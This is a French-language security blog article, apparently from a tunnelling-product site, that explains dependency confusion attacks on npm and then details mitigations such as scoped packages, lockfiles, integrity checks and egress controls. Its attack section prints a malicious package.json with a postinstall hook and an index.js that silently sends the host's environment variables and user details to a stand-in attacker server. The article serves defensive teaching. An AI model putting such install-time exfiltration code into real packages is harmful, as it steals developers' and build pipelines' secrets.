Confusion de dépendances : l'attaque de la chaîne d'approvisionnement dans votre package.json

Le paysage du développement logiciel moderne repose sur une base de packages open-source. Des gestionnaires de packages comme npm, PyPI et RubyGems ont accéléré les cycles de développement, permettant aux équipes de tirer parti d’un écosystème mondial de composants préfabriqués. Cependant, cette dépendance aux dépendances externes a ouvert une nouvelle voie d’attaque insidieuse : la chaîne d’approvisionnement logicielle.
L’une des vulnérabilités les plus critiques et subtiles à émerger dans ce domaine est la Confusion de dépendances. Cette attaque exploite la résolution ambiguë des dépendances par les gestionnaires de packages, trompant les systèmes de build pour télécharger et exécuter du code malveillant depuis un dépôt public au lieu d’un dépôt interne de confiance. Cet article propose une plongée approfondie dans la mécanique de la confusion de dépendances, ses impacts potentiels, et, surtout, les étapes concrètes pour sécuriser votre package.json et protéger votre organisation.
Qu’est-ce que la Confusion de dépendances ?
Au cœur, la confusion de dépendances, aussi appelée attaque de confusion de namespace, est une attaque de la chaîne d’approvisionnement qui cible la logique des clients des gestionnaires de packages. Elle se produit lorsqu’un projet dépend d’un package qui existe à la fois dans un registre privé interne et dans un registre public (comme npmjs.com) sous le même nom exact. L’attaque est réalisée lorsqu’un adversaire publie un package avec le même nom dans le registre public, mais avec un numéro de version plus élevé.
Imaginez cela comme commander une pièce spécifique pour une machine sur mesure. Votre entreprise, “InnovateCorp,” fabrique un composant propriétaire appelé innovate-api-client et le stocke dans votre entrepôt privé (votre registre de packages interne). Vos instructions d’assemblage (package.json) indiquent simplement, “obtenir innovate-api-client.” Un fournisseur externe, ayant connaissance de cette pièce, décide de créer une version contrefaite, la marque également innovate-api-client, et la liste dans un catalogue public mondial (le registre npm public) avec une étiquette indiquant “Version 2.0,” alors que votre version interne est “Version 1.5.”
Lorsque votre robot d’assemblage automatisé (le gestionnaire de packages) doit récupérer la pièce, il scanne à la fois l’entrepôt privé et le catalogue public. En voyant que le catalogue public propose une version “plus récente” (2.0 > 1.5), il priorise l’option la plus récente, installant involontairement la contrefaçon, potentiellement piégée, dans votre machine.
C’est précisément ainsi que fonctionne la confusion de dépendances. Le gestionnaire de packages, dans sa configuration par défaut, est souvent conçu pour récupérer la version sémantique la plus élevée d’un package disponible depuis toutes les sources configurées. Il devient “confus” quant au package à prioriser, et l’attaquant exploite cette ambiguïté pour obtenir une exécution de code à distance (RCE) sur la machine d’un développeur ou, de façon plus dévastatrice, dans un pipeline d’intégration continue/déploiement continu (CI/CD).
La vulnérabilité a été portée à l’attention du grand public par le chercheur en sécurité Alex Birsan dans un article de blog en 2021, où il a démontré des brèches réussies contre de grandes entreprises technologiques, notamment Apple, Microsoft et Tesla, en gagnant plus de 130 000 $ en primes de bugs.
Anatomie d’une attaque
L’exécution d’une attaque de confusion de dépendances est étonnamment simple et peut être décomposée en quelques étapes clés. La simplicité de l’attaque la rend très dangereuse et évolutive.
Reconnaissance : Trouver les noms de packages privés
La première étape pour un attaquant est d’identifier les noms des packages internes et privés utilisés par une organisation cible. C’est souvent la partie la plus difficile, mais il existe de nombreuses façons de divulguer cette information. Les attaquants peuvent analyser des dépôts de code publics (comme GitHub) pour des fichiers tels que package.json, qui peuvent avoir été accidentellement commités. Ils peuvent également scruter des fichiers JavaScript hébergés sur les sites web publics de l’entreprise, car ceux-ci contiennent souvent des déclarations require('internal-package-name'). Même les configurations réseau internes ou les logs DNS peuvent parfois révéler ces noms.
Création du package malveillant
Une fois une liste de noms de packages internes potentiels compilée (par exemple, acme-auth-client, corp-logger, internal-api-helper), l’attaquant crée un package malveillant pour chacun. Le code dans ces packages est conçu pour s’exécuter lors de l’installation. Une technique courante consiste à utiliser le script postinstall dans le fichier package.json. Ce script s’exécute automatiquement après l’installation du package.
Un package.json malveillant pourrait ressembler à ceci :
{
"name": "acme-auth-client",
"version": "99.99.99",
"description": "Package malveillant pour l'attaque de confusion de dépendances.",
"main": "index.js",
"scripts": {
"postinstall": "node index.js"
},
"author": "Attaquant",
"license": "ISC"
}
La charge utile (index.js)
Le fichier index.js contient la charge utile malveillante. Cela peut être n’importe quoi, mais une preuve de concept courante consiste à exfiltrer des variables d’environnement, qui peuvent contenir des secrets sensibles comme des clés API, des identifiants de base de données ou des détails du réseau interne. Un script simple d’exfiltration pourrait recueillir des informations telles que le nom d’hôte de l’utilisateur, l’adresse IP, et les variables d’environnement, puis les envoyer à un serveur contrôlé par l’attaquant via une requête HTTP.
// index.js malveillant
const os = require('os');
const http = require('http');
try {
const data = JSON.stringify({
hostname: os.hostname(),
userInfo: os.userInfo(),
env: process.env
});
const options = {
hostname: 'attacker-server.com',
port: 80,
path: '/log',
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': data.length
}
};
const req = http.request(options);
req.write(data);
req.end();
} catch (e) {
// Silencieux en cas d'erreur
}
Publication dans un registre public
L’attaquant publie ce package malveillant sur le registre npm public. Crucialement, il lui attribue un numéro de version très élevé, comme 99.99.99, pour s’assurer qu’il sera presque certainement supérieur à toute version interne.
La phase d’attente
L’attaquant attend maintenant. La prochaine fois qu’un développeur configure un nouvel environnement ou qu’un pipeline CI/CD exécute une nouvelle build (npm install ou yarn), le gestionnaire de packages interrogera ses registres configurés. S’il est configuré pour vérifier à la fois le registre public et privé, il verra acme-auth-client@1.2.3 dans le registre privé et acme-auth-client@99.99.99 dans le registre public. Il sélectionnera ce dernier, le téléchargera, et exécutera le script postinstall, déclenchant la charge utile. L’attaque est terminée.
Comment les gestionnaires de packages sont trompés : la logique de résolution
Le succès d’une attaque de confusion de dépendances dépend entièrement du comportement par défaut de résolution des dépendances des gestionnaires de packages. Des outils comme npm, Yarn, et pip (pour Python) sont conçus pour la commodité du développeur, et une partie de cette commodité consiste à trouver automatiquement la “meilleure” version d’une dépendance.
Par défaut, lorsqu’un gestionnaire de packages comme npm est configuré avec plusieurs registres (un privé pour les packages internes et le registre public par défaut), son algorithme de résolution peut poser problème. Si un nom de package n’est pas explicitement scoped, le client peut interroger tous les registres pour voir où ce package est disponible. Lorsqu’il trouve le package dans plusieurs emplacements, la décision se base souvent sur le numéro de version. La logique suppose qu’une version plus élevée représente une version plus récente et souhaitable.
Considérez une entrée typique dans package.json :
"dependencies": {
"internal-api-helper": "^1.4.0"
}
Et un fichier de configuration (.npmrc) pointant vers un registre privé et un registre public :
# .npmrc
@my-company:registry=https://npm.my-company.com/
registry=https://registry.npmjs.org/
Dans cette configuration, tout package scoped avec @my-company sera correctement récupéré depuis le registre privé. Cependant, pour internal-api-helper (un package non scoped), npm peut vérifier les deux registres. Si le registre privé détient internal-api-helper@1.4.5 et le registre npm public détient la version attaquante internal-api-helper@99.99.99, la version publique sera choisie, car elle satisfait la plage sémantique ^1.4.0 et est une version bien plus élevée. Le système de build a été efficacement trompé.
Stratégies de mitigation : sécuriser votre chaîne d’approvisionnement
Bien que la confusion de dépendances soit une menace sérieuse, elle est également une problématique résoluble. Protéger votre organisation nécessite une approche multicouche axée sur la suppression de l’ambiguïté dans votre processus de résolution des dépendances.
1. Utiliser des packages scoped (la défense principale)
La défense la plus efficace contre la confusion de dépendances est d’utiliser des packages scoped pour tous les projets internes. Les scopes sont une fonctionnalité de npm qui fournit un espace de noms pour vos packages. Un nom de package scoped commence par un symbole @, suivi du nom de l’organisation, puis d’une barre oblique (par exemple, @my-company/internal-api-helper).
Comment ça marche : Par défaut, un package non scoped comme internal-api-helper est considéré comme appartenant à l’espace de noms public. N’importe qui peut tenter de le publier. Cependant, un package scoped comme @my-company/internal-api-helper appartient à l’espace de noms my-company. Un attaquant ne peut pas publier un package sous votre scope à moins d’avoir des identifiants pour votre organisation npm. Cela rend le nom du package globalement unique et immunisé contre ce type d’attaque de namespace.
Mise en œuvre : Pour cela, vous devez configurer votre fichier .npmrc pour associer votre scope à votre registre privé.
# .npmrc
@my-company:registry=https://npm.my-company.com/
# Utiliser toujours le registre public officiel pour tous les autres packages
registry=https://registry.npmjs.org/
Avec cette configuration, toute commande npm install pour un package commençant par @my-company/ ne questionnera que votre registre privé, éliminant complètement la confusion.
2. Fixation des versions et fichiers de verrouillage
L’utilisation de fichiers de verrouillage (package-lock.json pour npm, yarn.lock pour Yarn) est une pratique essentielle pour garantir des builds déterministes et reproductibles. Un fichier de verrouillage “verrouille” l’arbre de dépendances aux versions et emplacements spécifiques des packages utilisés lors d’une build réussie.
Comment ça marche : Lors de l’exécution de npm install, un fichier package-lock.json est généré. Ce fichier contient la version exacte de chaque package installé, son emplacement résolu (URL), et une empreinte cryptographique de son contenu (checksum d’intégrité).
// Extrait de package-lock.json
"internal-api-helper": {
"version": "1.4.5",
"resolved": "https://npm.my-company.com/internal-api-helper/-/internal-api-helper-1.4.5.tgz",
"integrity": "sha512-..."
}
Lors de futurs installs (comme dans un pipeline CI/CD), npm ci doit être utilisé à la place de npm install. La commande npm ci effectue une installation propre strictement basée sur le fichier de verrouillage, en ignorant package.json. Elle téléchargera la version exacte depuis l’URL résolue et vérifiera son empreinte d’intégrité. Si une attaque de confusion de dépendances a permis d’installer le package public malveillant lors du premier npm install, le fichier de verrouillage le reflétera malheureusement. Cependant, une fois un fichier de verrouillage correct généré et commit, il empêche une future build d’être trompée en téléchargeant une version publique plus récente et malveillante.
Limitation : La fixation des versions est un contrôle puissant mais pas une solution complète. Elle ne protège pas lors de la première installation. Si la machine d’un développeur est mal configurée ou si un package-lock.json n’est pas présent lors de la première installation, le projet reste vulnérable.
3. Vérification de l’intégrité des packages
Le champ d’intégrité dans un fichier de verrouillage est un hash de sous-ressource d’intégrité (SRI). Il sert d’empreinte numérique pour le paquet tarball. Lors du téléchargement d’une dépendance, le gestionnaire calcule son hash et le compare à la valeur dans le fichier de verrouillage. En cas de mismatch, l’installation échoue. Cela offre une forte protection contre la manipulation d’un package en transit ou la livraison d’un package différent depuis la même URL, mais cela repose sur la correction du fichier de verrouillage initial.
4. Configuration explicite du registre
Pour les environnements où les packages internes non scoped sont une réalité héritée et ne peuvent pas être migrés immédiatement, il faut être explicite sur l’endroit où le gestionnaire doit chercher. Bien que moins robuste que l’utilisation de scopes, vous pouvez configurer votre environnement de build pour toujours privilégier votre registre privé. Cependant, cela peut être complexe et avoir des effets secondaires indésirables, comme bloquer l’accès aux packages publics légitimes. La recommandation reste de migrer vers des packages scoped.
5. Contrôles réseau et audit
En dernière ligne de défense, notamment pour les serveurs de build critiques, des contrôles réseau peuvent être mis en place.
Règles de pare-feu : Configurer des règles de pare-feu sortantes pour bloquer les requêtes vers des registres publics comme registry.npmjs.org. Toutes les dépendances, y compris celles publiques, doivent être récupérées depuis un registre privé agissant comme proxy ou miroir sécurisé.
Audit des dépendances : Utiliser régulièrement des outils comme npm audit et des solutions d’Analyse de Composition Logicielle (SCA) commerciales. Ces outils peuvent analyser vos dépendances pour détecter des vulnérabilités connues et, dans certains cas, repérer des packages suspects ou des schémas de résolution de dépendances.
Conclusion : une posture proactive pour la sécurité de la chaîne d’approvisionnement
La confusion de dépendances est un rappel brutal que nos chaînes d’approvisionnement logiciel sont une cible privilégiée pour les attaquants. L’élégance de l’attaque réside dans sa simplicité et dans l’exploitation des comportements par défaut, orientés vers la commodité, des outils que nous utilisons quotidiennement. Elle transforme le package.json d’un projet d’une simple liste de dépendances en un point d’entrée potentiel pour du code malveillant.
Cependant, la menace est entièrement gérable. La solution n’est pas de renoncer à l’écosystème open-source, mais d’adopter une approche plus délibérée et axée sur la sécurité dans la gestion des dépendances. En utilisant des packages scoped comme défense principale, en imposant l’utilisation de fichiers de verrouillage, et en configurant correctement les registres, les organisations peuvent éliminer efficacement cette voie d’attaque.
Sécuriser la chaîne d’approvisionnement logicielle n’est plus une tâche périphérique ; c’est un pilier central de la sécurité des applications modernes. Il est temps de revoir vos dépendances et de renforcer vos processus de build, avant que la confusion de votre gestionnaire de packages ne devienne un incident de sécurité pour votre organisation.
Related InstaTunnel pages
Continue from this article into the most relevant product guides and workflows.
Related Topics
Keep building with InstaTunnel
Read the docs for implementation details or compare plans before you ship.